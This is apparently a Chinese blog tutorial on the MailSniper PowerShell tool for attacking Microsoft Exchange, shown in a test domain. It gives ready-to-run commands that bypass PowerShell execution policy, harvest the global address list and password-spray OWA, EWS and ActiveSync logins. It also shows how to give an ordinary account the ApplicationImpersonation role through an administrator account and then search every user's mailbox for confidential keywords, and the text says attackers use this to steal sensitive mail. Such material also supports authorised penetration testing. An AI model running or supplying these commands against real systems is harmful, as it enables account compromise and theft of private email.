mailsniper.ps1使用

在這裏插入圖片描述
下載地址:mailsniper

0x01 mailsniper.ps1獲取outlook所有聯繫人(爲爆破收集郵箱)

在域環境內(域內機器即可)執行命令:

powershell -exec bypass
Import-Module .\MailSniper.ps1
Get-GlobalAddressList -ExchHostname owa2013.rootkit.org -UserName rootkit\jerry -Password Admin12345 -OutFile global-address-list.txt

在這裏插入圖片描述

0x02 mailsniper爆破exchange(指定密碼爆破郵箱)

針對OWA接口、EWS接口和ActiveSync接口爆破。實際使用過程中可多執行幾次,避免遺漏。

powershell -exec bypass
Import-Module .\MailSniper.ps1
Invoke-PasswordSprayEWS -ExchHostname owa2013.rootkit.org -UserList .\users.txt -Password Admin12345 -ExchangeVersion Exchange2013_SP1

-ExchHostname:ping -a exchange服務器ip -> 得到主機名 -> 主機名拼接域名(如:owa2013.rootkit.org)
-ExchangeVersion:若不知道可先不指定

在這裏插入圖片描述在這裏插入圖片描述

0x03 MailSniper檢索郵件內容

MailSniper可以被用戶或管理員用於檢索查找自己郵箱和文件夾信息,而攻擊者利用該工具,也可以在獲得合法郵箱憑證之後,通過檢索郵箱文件夾來嘗試發現和竊取包含敏感信息的郵件數據。Mailsniper包含兩個主要的cmdlet,分別是Invoke-SelfSearch和Invoke-GlobalMailSearch,用於檢索郵件中的關鍵字。

查找當前用戶的Exchange郵箱數據
Invoke-SelfSearch -Mailbox zhangsan@fb.com -Terms *機密* -Folder 收件箱 -ExchangeVersion Exchange2013_SP1
# 查找郵件內容中包含pwn字符串的郵件,-Folder參數可以指定要搜索的文件夾,默認是inbox,使用時最好指定要搜索的文件夾名稱(或者指定all查找所有文件),因爲該工具是外國人寫的,Exchange英文版收件箱爲Inbox,當Exchange使用中文版時收件箱不爲英文名,默認查找inbox文件夾會因找不到該文件而出錯

查找所有用戶的Exchange郵箱數據
Invoke-GlobalMailSearch -ImpersonationAccount zhangsan -ExchHostname test2k12 -AdminUserName fb.com\administrator -ExchangeVersion Exchange2013_SP1 -Term "*內部郵件*" -Folder 收件箱
# 利用administrator管理員用戶爲普通用戶zhangsan分配ApplicationImpersonation角色,檢索所有郵箱用戶的郵件中,包括“內部郵件”關鍵字的內容

0x04 參考

https://github.com/dafthack/mailsniper(一些詳細的使用介紹)
https://www.freebuf.com/articles/web/193132.html

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章